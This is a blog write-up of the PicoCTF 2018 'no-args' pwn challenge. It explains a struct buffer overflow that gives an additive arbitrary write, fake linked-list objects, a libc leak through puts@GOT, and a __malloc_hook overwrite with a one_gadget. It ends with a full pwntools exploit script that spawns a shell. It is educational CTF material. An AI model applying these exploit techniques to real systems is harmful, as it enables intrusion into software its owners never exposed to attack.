Search This Blog

Tuesday, September 24, 2019

No-Args PicoCTF 2018 Writeup

PicoCTF 2019 is right around the corner, so I decided to go back and solve some of the problems I was unable to solve last year.  Out of those unsolved problems, no-args was one I was very intent on solving; it was last year's final problem, and of course, was related to binary exploitation.  I originally tried to solve it based on 0n3m4ns4rmy's writeup several months ago, but had absolutely no idea what to do back then.  This time around, I managed to solve it!  Thanks to nek0nyaa by the way for providing me some tips when I got stuck.  Anyways, let's begin!  Make sure to debug on Xenial Xerus!

After playing around with the program for a while, here are a few things to note:
struct linked_list_node {
  char *problem_name;
  struct linked_list_node *next_ptr;
  uint32_t num_votes;
};

typedef struct linked_list_node problem_t;
problem_t *list;

struct ballot_t {
  char buf[LINE];
  problem_t *curr_problem;
  char votes; //1 byte
};
Those are the structures used in this program.  There is also a state variable that determines whether you can nominate or vote; upon taking certain actions in the program, the state variable changes accordingly to prevent you from taking actions that are higher on the list.  The linked list is located at 0x602028 according to GHIDRA and the state variable is at 0x602020 according to GHIDRA.  The binary is unfortunately Full RELRO, but thankfully has no PIE.  Now... where is the bug?  Since this was the finale pwn, I thought this had to be a heap bug.  In the end, there is a relationship to the heap, but the bug is actually much simpler: a buffer overflow that provides you the ability to perform arbitrary write.  Take a look at the following snippet from the function that allows you to choose a problem to vote for (I apologize for the poor formatting here).

if (!strcasecmp(ballot.buf, "choose")) { //typing choose here is interesting ballot.curr_problem =

find_problem("no-args"); if (ballot.curr_problem) { printf("You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?\n> "); 

get_line(ballot.buf, BUF_LEN);//buf is only 32 bytes, but BUF_LEN is 48

 if (!strcasecmp(ballot.buf,"yes") || !strcasecmp(ballot.buf,"y")) { ballot.curr_problem->num_votes += ballot.votes;

Basically, we can overflow into the rest of the struct, including the pointer to the current problem and the following byte, which can give us the ability to write arbitrarily; we can write into that last byte in ballot, which in turn will be added to the "location" of num_votes in the problem object, but can actually be elsewhere cause of the overflow of the pointer.  It is not exactly a write, but more of a addition type of write.  Be careful though as there is an issue between signed and unsigned due to the different way the counts are declared in each struct.  If the leftmost bit you are writing has a one, the computer will provide a sign extension due to arithmetic and write a ton of 0xffs... not an ideal situation for arbitrary write.  How do we resolve this?  It's a simple solution honestly... if your byte to write is greater than 0x7f, first write 0x7f, then write the byte you want to write minus 0x7f.  Simple arithmetic shows that you will still get that original byte written.  Also, as LINE is 32 bytes (buffer size in ballot), the pointer can be overwritten immediately afterwards, and then the one byte.  Here's the function I used to write:
def write(address, data): #give data as packed string, address as int
offset = 0
for i in data:
#0x10 related to struct layout for problem objects, so you actually write in right place
if ord(i) > 0x7f:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + '\x7f')
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + chr(ord(i) - 0x7f))
else:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + i)
offset+=1

Now how do we pwn this binary with this arbitrary write?  Let's create two fake problem objects in writeable sections of the binary.  Because of earlier conditions, let us make a fake problem object with the name "no-args" (such a problem is also allocated in the first 8 initial allocations of original problems).  It's next pointer will then point to another fake problem object; let's make its name point to puts@GOT and its next be null.  We also initially nominate another problem, where we make the second 8 bytes be the pointer to a region in bss that contains the pointer to the name of the fake "no-args" and then the fake problem with the GOT pointer.  Why can't we just make the next problem pointer in fake "no-args" just be directly to GOT?  Well if that's the case, the way this program lists problems via the linked list will cause it to think that the next problem is in libc; of course this will leak it when you list choices, but then adjacent to that libc location is another non null address.  It will then think of that as another next problem and its attempt to treat it as such will cause a segfault.  Also regarding the initial nomination; although it will be just a name in the beginning, in order to fake it like a problem object, we need the first 8 bytes to point to a valid location.  However, the first 8 bytes must not contain any nulls; even though get_line uses read, the add_problem function uses strdup.  Where can we find such an address that also points to valid data?  VSyscall.  This region is used to help accelerate syscalls; it also doesn't change in memory addresses.  Here's the procedure above written in python exploit form:
nominate(p64(0xffffffffff6003f0) + p64(0x602040))
write(0x602500, 'no-args')
write(0x602600, p64(binary.got['puts']))
write(0x602040, p64(0x602500) + p64(0x602600))

So now, we have crafted the fake objects nicely.  Now, how do we make the problem link list use our data?  Simple... one byte overwrite on the heap.  I had to nominate another problem before the nomination above for the heap layout to work; otherwise, I would have needed to overwrite 2 bytes, which is not possible to always work without a heap leak.  Then, while debugging, you will notice the offset between the last valid problem in the linked list and the location of your fake problem object (which contains the vsyscall address and then the pointer to the fake 'no-args' problem).  For me, the offset was 0x20 (I needed the linked list to hit the 0x70 but while it was valid, it was stuck at 0x50).  Doing this is simple:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602028 - 0x10) + '\x20')

Afterwards, listing the problem can leak libc address and then calculating libc base becomes trivial.  Now, let's finally pwn this problem.  Note that throughout this process, if I want to nominate again, I need to change the state variable back so that I can nominate; choose problem sets the state as too high of a value at 2.  I simply used our arbitrary write capabilities to change it back to 0 in the following way:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602020 - 0x10) + '\xfe')

Now as for popping shells, I decided to target malloc hook once again.  I chose the following one_gadget in libc 2.23.

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL


Then after overwriting malloc hook in the following manner:

write(libc.address + 0x3c4b10, p64(libc.address + 0xf02a4))

I nominated a new problem so malloc (or magic one gadget now) will be called... I needed to pad my nomination with nulls to satisfy the constraint shown by one_gadget.  Here's the final exploit (no-args actually no longer works on picoCTF servers for some reason, so I could only do it locally... really would have loved this flag honestly):
from pwn import *

binary = ELF('./no-args')
libc = ELF('./libc-2.23.so')
#context.log_level = 'debug'
time = 0.1
remote = ssh(host='10.0.2.4', user='will', password='123456789')
remote.set_working_directory('/home/will/noargs')
context(arch='amd64')
p = remote.process('./no-args')

def wait():
p.recvrepeat(time)

def nominate(problem):
wait()
p.sendline('1')
wait()
p.sendline(problem)

def vote(listProblems, choose, problem='', forChoose =''):
wait()
p.sendline('2')
if listProblems is True:
wait()
p.sendline('y')
temp = p.recvuntil('\nWhich Problem do you want to vote for?').split('\nWhich Problem do you want to vote for?')[0].split('Current Choices\n')[1]
problems = temp.split('  - ')[1:]
for i in range(len(problems)):
problems[i] = problems[i].split('\n' + str(i + 1))[0]
p.sendline() #extra line to get back to prompt
return problems
else:
wait()
p.sendline('n')

if choose is True:
wait()
p.sendline('choose')
wait()
p.sendline(forChoose)
else:
wait()
p.sendline(problem)

def write(address, data): #give data as packed string, address as int
offset = 0
for i in data:
#0x10 related to struct layout for problem objects, so you actually write in right place
if ord(i) > 0x7f:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + '\x7f')
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + chr(ord(i) - 0x7f))
else:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + i)
offset+=1

nominate('A'*16)
#p.interactive()
#find all the addresses to write with vmmap, need the first part to be a valid pointer in nomination but has no null bytes
#0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
nominate(p64(0xffffffffff6003f0) + p64(0x602040)) #name is bunch of ffs so keep reading in (no null byte bc strdup in add problem), will fix later, 0x602040 is where fake problem will be
#write no-args somewhere
write(0x602500, 'no-args') #pointer to duplicate of no-args
write(0x602600, p64(binary.got['puts'])) #points to puts@GOT
write(0x602040, p64(0x602500) + p64(0x602600)) #fake problem structure, name and next written, next points to another fake problem with just a name
#make link list use our fake problem
'''
0xfa41d0: 0x0000000000fa41f0 0x0000000000fa4190 <- this was the lowest one in heap before my nomination
0xfa41e0: 0x0000000000000004 0x0000000000000021
0xfa41f0: 0x00736772612d6f6e 0x0000000000000000
0xfa4200: 0x0000000000000000 0x0000000000000021
0xfa4210: 0x0000000000fa4230 0x0000000000fa41d0
0xfa4220: 0x0000000000000002 0x0000000000000021 <-made afterwards
0xfa4230: 0xffffffffffffffff 0x0000000000602040
0xfa4240: 0x0000000000000000 0x0000000000020dc1
'''

#that above won't allow for one byte overwrite, need two byte, requiring heap leak
#so nominate one before too
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602028 - 0x10) + '\x20') #not just overwriting, making it add up to the location 8 bytes before where 0x602040 is referenced on the heap, debug to figure out how to make it work, so one more sort of like object than points there to the fake problem and leak
#time for leaking
temp = vote(listProblems=True, choose=False)[2]
libc.address = u64(temp.ljust(8, '\x00')) - libc.symbols['puts']
log.info('LEAKED LIBC BASE: ' + hex(libc.address))
#00000000003c4b10 <__malloc_hook@@GLIBC_2.2.5>:
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
log.info('Overwriting malloc hook!')
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602020 - 0x10) + '\xfe')
write(libc.address + 0x3c4b10, p64(libc.address + 0xf02a4)) #need to vote again, overwrite other bss variable, at 0x602020, add 0xfe to make 0 again
#p.interactive()
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602020 - 0x10) + '\xfe')
#p.interactive()
log.info('Popping shells!')
nominate('pwn!' + '\x00'*28)
p.interactive()

A wonderful problem overall!  I learned a lot!  Hope all of you enjoy this writeup too!

No comments:

Post a Comment